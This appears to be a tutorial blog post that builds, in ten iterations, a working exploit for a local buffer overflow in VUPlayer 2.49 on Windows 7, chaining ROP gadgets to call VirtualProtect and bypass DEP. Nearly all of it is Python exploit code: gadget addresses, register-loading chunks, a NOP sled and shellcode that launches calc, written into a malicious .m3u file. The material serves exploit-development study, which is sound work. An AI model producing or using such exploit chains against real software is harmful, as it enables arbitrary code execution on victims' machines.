ROP Gadgets: VirtualProtect()

We’ll work on VUPlayer 2.49 (Windows 7) – ‘.m3u’ Local Buffer Overflow (DEP Bypass) for this article

Initial exploit v1: EIP Control

import sys
import struct
import os 

crash_file = "test.m3u" fuzz = "A" * 1012
fuzz += "B" * 4
fuzz += "C" * (3000 - len(fuzz)) 

file= open(crash_file, "w")
file.write(fuzz)
file.close()

Start the app and attach to Immunity

Drag the m3u file on the app and see the EIP filled with 42424242

Look for modules with ASLR disabled: !mona modules

We’ll choose one of the address: 0x10101008

The EIP points to RETN 

Set a breakpoint at 0x10101008 and reproduce the m3u file with the following script

The exploit v2

import sys
import struct
import os 

crash_file = "vuplayer-dep.m3u" 

fuzz = "A" * 1012
fuzz += "\x08\x10\x10\x10" * 4
fuzz += "C" * (3000 - len(fuzz)) 

file= open(crash_file, "w")
file.write(fuzz)
file.close()

We hit the breakpoint at the EIP RETN address

API Calls

To determine what API call pointers we have access to that we can use to disable DEP , type the following command: !mona ropfunc. 

Check out the results on ropfunc.txt.

We’ll use VirtualProtect API call as it seems available in the results

VirtualProtect Function

BOOL WINAPI VirtualProtect(       =>    A pointer to VirtualProtect()
  _In_   LPVOID lpAddress,        =>    Return Address
  _In_   SIZE_T dwSize,              =>    dwSize (0x201)
  _In_   DWORD flNewProtect,         =>    flNewProtect (0x40)
  _Out_  PDWORD lpflOldProtect       =>    A writable pointer
);

* since we are working with the Stack, we’ll put the parameters in reverse order

The plan:

# EAX 90909090 => Nop                                                
# ECX <writeable pointer> => lpflOldProtect                                 
# EDX 00000040 => flNewProtect                             
# EBX 00000201 => dwSize                                            
# ESP ???????? => Leave as is                                         
# EBP ???????? => Call to ESP (jmp, call, push,..)                
# ESI ???????? => PTR to VirtualProtect – DWORD PTR of 0x1060E25C
# EDI 10101008 => ROP-Nop same as EIP

EAX

First, start creating the rop.txt and rop_suggestions.txt files with the following command: 

!mona rop -m "basswma,bassmidi,bass

  • for EAX, we need to put 90909090. 
  • put that value on stack 
  • then pop eax

In rop_suggestions.txt file, we search for pop eax and there is a section

We’ll select the simplest one: 0x10015fe7

The exploit v3

….
# EAX Chunk Affects: EAX
eax = struct.pack(‘<L’, 0x10015fe7) # pntr to # POP EAX # RETN
eax += struct.pack(‘<L’, 0x90909090)
rop = eax 

fuzz = “A” * 1012
fuzz += “\x08\x10\x10\x10” # 10101008  <– Pointer to a RETN
fuzz += rop
fuzz += “C” * (3000 – len(fuzz))

Let’s create the file and check if EAX is filled with 90909090 to verify

ECX

# ECX <writeable pointer> => lpflOldProtect

For the writable location, first go to modules on Immunity. Choose one of the DLLs for RWE written next to

10101000 BASSWMA seems RWE

Double click and look for a writable location with 0000 : 101053DC

Then look for a POP ECX location in the rop_suggestions.txt file: 0x10601007

The exploit v4

….

# EAX Chunk Affects: EAX
eax = struct.pack(‘<L’, 0x10015fe7) # pointer to # POP EAX # RETN
eax += struct.pack(‘<L’, 0x90909090) 

# ECX Chunk Affects: ECX
ecx = struct.pack(‘<L’, 0x10601007) # pntr to # POP ECX # RETN
ecx += struct.pack(‘<L’, 0x101053DC)    # a writable pointer 

EDX

# EDX 00000040 => flNewProtect

we don’t have a direct value to put 0x40 into EDX according to ROP results. So we need to be creative:

  • Zero out EAX: # XOR EAX,EAX # RETN  (0x106074f8)
  • add 4 to EAX until it reaches 0x40: 16 times # ADD EAX,4 # RETN (0x10014474)
  • swap values between EAX and EDX so that EDX holds our goal value: # XCHG EAX,EDX # RETN (0x10038a6c)

The exploit v5

….

# EAX Chunk Affects: EAX
eax = struct.pack(‘<L’, 0x10015fe7) # pointer to # POP EAX # RETN
eax += struct.pack(‘<L’, 0x90909090) 

# ECX Chunk Affects: ECX
ecx = struct.pack(‘<L’, 0x10601007) # pntr to # POP ECX # RETN
ecx += struct.pack(‘<L’, 0x101053DC)    # a writable pointer 

# EDX Chunk Affects: EAX, EDX
edx = struct.pack(‘<L’, 0x106074f8)     # XOR EAX,EAX # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    # ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10038a6c)    #XCHG EAX,EDX # RETN 

EBX

# EBX 00000201 => dwSize      

We couldnt find a way to do it directly on EBX so I’ll check for EAX again

First I look for a way to # XCHG EAX, EBX # RETN (0x10032f32)

We found a gadget to XOR a static value

remember:

  • a XOR b = c
  • b XOR c = a
  • c XOR a = b

So if we do the math:

  • 0x201 XOR 994803BD = 994801bc (in hexadecimal)
  • 994801bc XOR 994803BD = 0x201

Online Calculator: here

So our plan is: 

  • POP 0x994801bc into EAX
  • XOR with the static value: 994803BD 
  • swap the values EAX and EBX

The exploit v6

….

# EAX Chunk Affects: EAX
eax = struct.pack(‘<L’, 0x10015fe7) # pointer to # POP EAX # RETN
eax += struct.pack(‘<L’, 0x90909090) 

# ECX Chunk Affects: ECX
ecx = struct.pack(‘<L’, 0x10601007) # pntr to # POP ECX # RETN
ecx += struct.pack(‘<L’, 0x101053DC)    # a writable pointer 

# EDX Chunk Affects: EAX, EDX
edx = struct.pack(‘<L’, 0x106074f8)     # XOR EAX,EAX # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    # ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10038a6c)    #XCHG EAX,EDX # RETN 

# EBX Chunk Affects: EAX, EBX
ebx = struct.pack(‘<L’, 0x10015fe7) #POP EAX # RETN
ebx += struct.pack(‘<L’, 0x994801bc)    # once XOR’d w the static value 994803BD, this will result in 0x201
ebx += struct.pack(‘<L’, 0x1003a074)    #XOR EAX,994803BD # RETN
ebx += struct.pack(‘<L’, 0x10032f32)    #XCHG EAX,EBX # RETN 0x00

EBP

# EBP ???????? => Call to ESP (jmp, call, push,..)                

For EBP, we need to point to a JMP ESP

Found a JMP ESP on 1010539F with the following command: 

!mona find -s ‘\xff\xe4’  -m “basswma,bassmidi,bass

Now we need a gadget to pop it into EBP

I found # POP EBP # RETN 0x04 (0x10017c0d). We can use this but we need to compensate for RETN 0x4 as it’s not a regular RETN gadget

We can achieve this by RETN gadgets (ROP NOPs) as filler.  (10101008)

The exploit v7

….

# EAX Chunk Affects: EAX
eax = struct.pack(‘<L’, 0x10015fe7) # pointer to # POP EAX # RETN
eax += struct.pack(‘<L’, 0x90909090) 

# ECX Chunk Affects: ECX
ecx = struct.pack(‘<L’, 0x10601007) # pntr to # POP ECX # RETN
ecx += struct.pack(‘<L’, 0x101053DC)    # a writable pointer 

# EDX Chunk Affects: EAX, EDX
edx = struct.pack(‘<L’, 0x106074f8)     # XOR EAX,EAX # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    # ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10038a6c)    #XCHG EAX,EDX # RETN 

# EBX Chunk Affects: EAX, EBX
ebx = struct.pack(‘<L’, 0x10015fe7) #POP EAX # RETN
ebx += struct.pack(‘<L’, 0x994801bc)    # once XOR’d w the static value 994803BD, this will result in 0x201
ebx += struct.pack(‘<L’, 0x1003a074)    #XOR EAX,994803BD # RETN
ebx += struct.pack(‘<L’, 0x10032f32)    #XCHG EAX,EBX # RETN 0x00

# EBP Chunk Affects: EBP
ebp = struct.pack(‘<L’, 0x10017c0d) #POP EBP # RETN 0x04
ebp += struct.pack(‘<L’, 0x1010539F)    # pointer to JMP ESP
ebp += struct.pack(‘<L’, 0x10101008)    # pointer to a ROP NOP to compensate for the RETN 0x04
ebp += struct.pack(‘<L’, 0x10101008)    # pointer to a ROP NOP to compensate for the RETN 0x04 

ESI

# ESI ???????? => PTR to VirtualProtect – DWORD PTR of 0x1060E25C

The memory address of the API call VirtualProtect is already known: 0x1060E25C

We need the DWORD value stored there

We couldn’t find a gadget for ESI so we’ve checked with EAX again:

Plan:

  • POP pointer to API into EAX
  • move the DWORD value held at the address into EAX (load the content of [EAX] into EAX) –> # MOV EAX,DWORD PTR DS:[EAX] # RETN
  • exchange EAX into ESI (# XCHG EAX,ESI # RETN on 0x10030950)

The exploit v8

….

# EAX Chunk Affects: EAX
eax = struct.pack(‘<L’, 0x10015fe7) # pointer to # POP EAX # RETN
eax += struct.pack(‘<L’, 0x90909090) 

# ECX Chunk Affects: ECX
ecx = struct.pack(‘<L’, 0x10601007) # pntr to # POP ECX # RETN
ecx += struct.pack(‘<L’, 0x101053DC)    # a writable pointer 

# EDX Chunk Affects: EAX, EDX
edx = struct.pack(‘<L’, 0x106074f8)     # XOR EAX,EAX # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    # ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10038a6c)    #XCHG EAX,EDX # RETN 

# EBX Chunk Affects: EAX, EBX
ebx = struct.pack(‘<L’, 0x10015fe7) #POP EAX # RETN
ebx += struct.pack(‘<L’, 0x994801bc)    # once XOR’d w the static value 994803BD, this will result in 0x201
ebx += struct.pack(‘<L’, 0x1003a074)    #XOR EAX,994803BD # RETN
ebx += struct.pack(‘<L’, 0x10032f32)    #XCHG EAX,EBX # RETN 0x00

# EBP Chunk Affects: EBP
ebp = struct.pack(‘<L’, 0x10017c0d) #POP EBP # RETN 0x04
ebp += struct.pack(‘<L’, 0x1010539F)    # pointer to JMP ESP
ebp += struct.pack(‘<L’, 0x10101008)    # pointer to a ROP NOP to compensate for the RETN 0x04
ebp += struct.pack(‘<L’, 0x10101008)    # pointer to a ROP NOP to compensate for the RETN 0x04 

# ESI Chunk Affects: EAX, ESI
esi = struct.pack(‘<L’, 0x10015fe7)     #POP EAX # RETN
esi += struct.pack(‘<L’, 0x1060E25C)    # virtual protect pointer 
esi += struct.pack(‘<L’, 0x1001eaf1)    # a pointer to # MOV EAX,DWORD PTR DS:[EAX] # RETN
esi += struct.pack(‘<L’, 0x10030950)    # a pointer to # XCHG EAX,ESI # RETN

EDI

# EDI 10101008 => ROP-Nop same as EIP

find a pointer to # POP EDI # RETN (0x100190b0) and load the value 10101008  on it

At the end, we also add a PUSHAD gadget to push all of the register values (EAX,ECX,DEX,EBX,ESP,EBP,ESI,EDI) onto the stack and set up our API call.

The exploit v9



# EAX Chunk Affects: EAX
eax = struct.pack(‘<L’, 0x10015fe7) # pointer to # POP EAX # RETN
eax += struct.pack(‘<L’, 0x90909090) 

# ECX Chunk Affects: ECX
ecx = struct.pack(‘<L’, 0x10601007) # pntr to # POP ECX # RETN
ecx += struct.pack(‘<L’, 0x101053DC)    # a writable pointer 

# EDX Chunk Affects: EAX, EDX
edx = struct.pack(‘<L’, 0x106074f8)     # XOR EAX,EAX # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    # ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10038a6c)    #XCHG EAX,EDX # RETN 

# EBX Chunk Affects: EAX, EBX
ebx = struct.pack(‘<L’, 0x10015fe7) #POP EAX # RETN
ebx += struct.pack(‘<L’, 0x994801bc)    # once XOR’d w the static value 994803BD, this will result in 0x201
ebx += struct.pack(‘<L’, 0x1003a074)    #XOR EAX,994803BD # RETN
ebx += struct.pack(‘<L’, 0x10032f32)    #XCHG EAX,EBX # RETN 0x00

# EBP Chunk Affects: EBP
ebp = struct.pack(‘<L’, 0x10017c0d) #POP EBP # RETN 0x04
ebp += struct.pack(‘<L’, 0x1010539F)    # pointer to JMP ESP
ebp += struct.pack(‘<L’, 0x10101008)    # pointer to a ROP NOP to compensate for the RETN 0x04
ebp += struct.pack(‘<L’, 0x10101008)    # pointer to a ROP NOP to compensate for the RETN 0x04 

# ESI Chunk Affects: EAX, ESI
esi = struct.pack(‘<L’, 0x10015fe7)     #POP EAX # RETN
esi += struct.pack(‘<L’, 0x1060E25C)    # virtual protect pointer 
esi += struct.pack(‘<L’, 0x1001eaf1)    # a pointer to # MOV EAX,DWORD PTR DS:[EAX] # RETN
esi += struct.pack(‘<L’, 0x10030950)    # a pointer to # XCHG EAX,ESI # RETN

# EDI Chunk Affects: EDI
edi = struct.pack(‘<L’, 0x100190b0)     #POP EDI # RETN
edi += struct.pack(‘<L’, 0x10101008)    # pointer to a ROP NOP 

# PUSHAD Chunk
pushad = struct.pack(‘<L’, 0x1001d7a5)  #PUSHAD # RETN

Final Script for the chain v10

ebp, edi, eax, and ecx only affect their own registers.

However edx, esi and ebx also affect eax

So the registers that use eax too should come first to not interfere to each other later

  • rop = edx
  • rop += esi
  • rop += ebx 
  • rop += ebp
  • rop += edi
  • rop += eax
  • rop += ecx
  • rop += pushad
import sys
import struct
import os 

crash_file = “final.m3u” 

# EAX Chunk Affects: EAX
eax = struct.pack(‘<L’, 0x10015fe7) # pointer to # POP EAX # RETN
eax += struct.pack(‘<L’, 0x90909090) 

# ECX Chunk Affects: ECX
ecx = struct.pack(‘<L’, 0x10601007) # pntr to # POP ECX # RETN
ecx += struct.pack(‘<L’, 0x101053DC)    # a writable pointer 

# EDX Chunk Affects: EAX, EDX
edx = struct.pack(‘<L’, 0x106074f8)     # XOR EAX,EAX # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    # ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10014474)    #ADD EAX,4 # RETN
edx += struct.pack(‘<L’, 0x10038a6c)    #XCHG EAX,EDX # RETN 

# EBX Chunk Affects: EAX, EBX
ebx = struct.pack(‘<L’, 0x10015fe7) #POP EAX # RETN
ebx += struct.pack(‘<L’, 0x994801bc)    # once XOR’d w the static value 994803BD, this will result in 0x201
ebx += struct.pack(‘<L’, 0x1003a074)    #XOR EAX,994803BD # RETN
ebx += struct.pack(‘<L’, 0x10032f32)    #XCHG EAX,EBX # RETN 0x00

# EBP Chunk Affects: EBP
ebp = struct.pack(‘<L’, 0x10017c0d) #POP EBP # RETN 0x04
ebp += struct.pack(‘<L’, 0x1010539F)    # pointer to JMP ESP
ebp += struct.pack(‘<L’, 0x10101008)    # pointer to a ROP NOP to compensate for the RETN 0x04
ebp += struct.pack(‘<L’, 0x10101008)    # pointer to a ROP NOP to compensate for the RETN 0x04 

# ESI Chunk Affects: EAX, ESI
esi = struct.pack(‘<L’, 0x10015fe7)     #POP EAX # RETN
esi += struct.pack(‘<L’, 0x1060E25C)    # virtual protect pointer 
esi += struct.pack(‘<L’, 0x1001eaf1)    # a pointer to # MOV EAX,DWORD PTR DS:[EAX] # RETN
esi += struct.pack(‘<L’, 0x10030950)    # a pointer to # XCHG EAX,ESI # RETN

# EDI Chunk Affects: EDI
edi = struct.pack(‘<L’, 0x100190b0)     #POP EDI # RETN
edi += struct.pack(‘<L’, 0x10101008)    # pointer to a ROP NOP 

# PUSHAD Chunk
pushad = struct.pack(‘<L’, 0x1001d7a5)  #PUSHAD # RETN

rop = edx
rop += esi
rop += ebx 
rop += ebp
rop += edi
rop += eax
rop += ecx
rop += pushad 
nops = “\x90” * 16 

calc = (“\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64”
“\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B”
“\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20”
“\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07”
“\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74”
“\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7”) 

fuzz = “A” * 1012
fuzz += “\x08\x10\x10\x10” # 10101008  <– Pointer to a RETN
fuzz += rop 
fuzz += nops
fuzz += calc
fuzz += “C” * (3000 – len(fuzz)) 

file= open(crash_file, “w”)
file.write(fuzz)
file.close() 

Resources: (big thanks to these blogposts)